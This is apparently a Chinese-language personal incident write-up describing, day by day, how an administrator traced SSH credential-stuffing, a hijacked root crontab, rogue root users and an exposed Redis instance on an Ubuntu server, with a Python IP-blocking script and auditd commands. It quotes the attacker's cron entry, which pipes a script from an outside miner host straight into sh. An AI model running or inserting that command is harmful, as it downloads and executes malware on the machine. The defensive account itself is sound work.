服务器被黑纪实
Day1
首先是由于服务器上的几个账号的密码总是被莫名的改掉,比如27号,software账号的密码就被更改了。由于ubuntu的安全机制,我无法看到改后的密码。
为了排查这个问题,我查看了系统的登录日志,于是乎发现了大量的ssh登录失败的日志:
从上图的登录请求来看,攻击者肯定不是使用暴力破解方式,而是拥有一个字典库或者也叫密码库,来进行撞库攻击。因此,我才决定更改ssh登录地址。
从上图还可以发现一个问题,即请求者的IP都是127.0.0.1,这个并不是因为攻击者太牛逼,把自己的IP伪装掉了,而是因为我们使用的内网穿透的缘故。
为了能在外网访问服务器,在服务器上启动了frpc内网穿透客户端。而通过内网穿透发起的请求,会全部变为自己对自己的请求,即发起者是127.0.0.1。
而由于目前,公司有了公网IP,就不需要再利用内网穿透来实现公网访问,而是通过NAT虚拟服务器来实现公网访问。而通过这种技术,可以获取到发起请求者真正的IP,如下图:
Day2
第二天,我再次查看auth日志,发现依旧出现了大量的登录请求,看来改变域名没什么用,也许对方已经知道了我们的新的域名了。然后再看一下对方的IP,发现有北京、杭州、安徽,还有美国的微软云,应有尽有,并且会频繁的更换IP。因此我决定写一个脚本,定时去封锁那些登录失败超过3次的IP。脚本比较简单,如下:
import time
print(time.asctime(time.localtime(time.time())), end='\t')
with open('/var/log/auth.log', 'r') as f:
ips = dict()
for line in f.readlines():
if 'authentication failure;' in line:
ip = line[line.index('rhost=') + 6:].strip().split(' ')[0]
elif 'Invalid user ' in line:
ip = line[line.index('from') + 5:].strip()
else:
continue
if ':' in ip or '192.168' in ip or '222.90.' in ip:
continue
if ip in ips:
ips[ip] += 1
else:
ips[ip] = 0
ips = list(filter(lambda x: ips[x] > 2, ips))
with open('/etc/hosts.allow', 'r') as f:
hosts = f.readlines()
for i in range(len(ips) - 1, -1, -1):
for line in hosts:
if ips[i] in line:
del ips[i]
break
print(ips)
if len(ips) > 0:
with open('/etc/hosts.allow', 'w') as f:
f.writelines(hosts)
for ip in ips:
f.write(f'sshd:{ip}:deny\n')
随后,我打算把这个脚本放到Cron定时任务中。但是一打开root用户的crontab,就发现被添加了一个定时任务,这个定时任务是每分钟下载一个叫做init.sh的脚本,并自动运行。如下:
*/5 * * * * curl -fsSL http://xmr.ipzse.com:66/init.sh | sh
我把这个脚本下载下来看了一下,发现这就是一个恶意脚本,内容如下:
附上该脚本:init.sh.txt
于是乎,我把这个定时任务直接删除,然后添加上我自己的封锁IP的脚本。
同时,我在路由器上添加了一条URL过滤,将病毒可能用到的网址全部封禁:
Day3
本来以为已经万事大吉,结果过了一段时间再看,发现我的脚本并没有定时执行。我再次查看了crontab,结果发现里面的内容又变成了恶意脚本,而我自己添加的内容已经被覆盖掉了。看来系统里面仍然有残存的病毒。我查看了/etc/passwd,发现多了两个用户,其中一个用户的cid竟然是0,意味着这个用户拥有了root权限。这怎么行,我立即将他的权限改掉,然后删除了该用户。另一个用户的主目录中,存在着一个二进制可执行文件,并且正在运行着,一看就不是什么好东西,kill掉以后,把这个用户也删除了。
Day4
观察一天后,发现cron仍然存在着被恶意脚本覆盖的问题。我实在没什么办法,就搬出了audit这个审计工具。
The Linux Audit Subsystem is a system to Collect information regarding events occurring on the system(s) ,Kernel events (syscall events), User events (audit-enabled programs)
syslog记录的信息有限,主要目的是软件调试,跟踪和打印软件的运行状态,而audit的目的则不同,它是linux安全体系的重要组成部分,是一种“被动”的防御体系。在内核里有内核审计模块,记录系统中的各种动作和事件,比如系统调用,文件修改,执行的程序,系统登入登出和记录所有系统中所有的事件,它的主要目的是方便管理员根据日记审计系统是否允许有异常,是否有入侵等等,说穿了就是把和系统安全有关的事件记录下来。
通过这个工具,执行命令auditctl -w /var/spool/cron/root -p rwxa -k cron
,将root的定时任务监控起来,看看到底是哪个进程更改了cron。
过了一段时间,果然root的cron被覆盖,我赶紧查看了audit的log,结果却不尽人意。在log里面,我ls、vim等操作都被记录了下来,但是病毒的操作却并没有被记录。文件被修改的时间前后,log里面只有config_changed的信息,而从这里看不出任何的信息。但是有一条log引起了我的注意,是redis的一条持久化存储的Log。我咨询了后端的同事,他们说redis确实会用到cron来进行定时存储。一开始我也没在意,但是后来我实在没办法了,就查看了redis里面存储的内容,结果发现。redis里面竟然也存了恶意脚本。我立即将其全部删除,并给redis增加了密码,然后一段时间直到现在,cron里面都是干净的。这个病毒也算是告一段落了。